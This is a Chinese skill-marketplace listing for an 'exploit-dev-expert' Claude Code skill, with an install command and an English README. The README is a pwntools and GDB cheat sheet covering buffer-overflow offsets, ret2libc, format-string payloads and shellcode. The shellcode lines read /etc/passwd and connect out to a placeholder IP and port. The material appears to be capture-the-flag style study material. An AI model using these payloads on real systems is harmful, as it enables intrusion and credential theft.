mcpField
E
exploit-dev-expert

exploit-dev-expert

github.com/duck4nh安全15143 次安装37 周前更新
代码仓库

关于 exploit-dev-expert

涵盖二进制利用、Shellcode、pwntools 和 GDB 等主题的安全技能。现有材料主要由技术示例和命令参考组成。

主要功能

  1. 01演示缓冲区溢出技术
  2. 02展示格式字符串负载模式
  3. 03使用 pwntools 创建 Shellcode
  4. 04参考 pwntools 配置与连接方式
  5. 05列出 GDB 检查命令

适用场景

  1. 01学习缓冲区溢出偏移量查找
  2. 02构造格式字符串读写负载
  3. 03练习 Shellcode 生成与二进制调试

安装

复制下面的命令，在终端中运行。

$npx skills add https://github.com/duck4nh/antigravity-kit --skill exploit-dev-expert

安装后在 Claude Code 中输入/exploit-dev-expert确认已加载。

README 原文English

来自项目 README

README 暂无中文译文，以下为英文原文；中文介绍见上方。

Exploit Development Expert

Binary Exploitation Basics

Buffer Overflow
from pwn import *

# Find offset
cyclic(200)           # Generate pattern
cyclic_find(0x61616166)  # Find offset

# Basic exploit
offset = 64
ret_addr = p64(0x401234)
payload = b'A' * offset + ret_addr

# With NX bypass (ret2libc)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))
Format String
# Read from stack
payload = b'%x.' * 20
payload = b'%7$s'      # Read specific position

# Write to address
payload = fmtstr_payload(offset, {target_addr: value})

Shellcode

# Using pwntools
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())

# Common shellcodes
shellcraft.sh()           # /bin/sh
shellcraft.cat('/etc/passwd')
shellcraft.connect('IP', PORT)

Pwntools Essentials

from pwn import *

# Setup
context.binary = ELF('./vuln')
context.log_level = 'debug'

# Connection
p = process('./vuln')      # Local
p = remote('ip', port)     # Remote
p = gdb.debug('./vuln')    # With GDB

# I/O
p.sendline(payload)
p.recvuntil(b'>')
data = p.recv(100)

# Interactive
p.interactive()

GDB Commands

gdb ./binary
> checksec                # Security features
> info functions          # List functions
> disas main              # Disassemble
> b *0x401234             # Breakpoint
> r < payload.txt         # Run with input
> x/20wx $rsp             # Examine stack

评论

支持 Markdown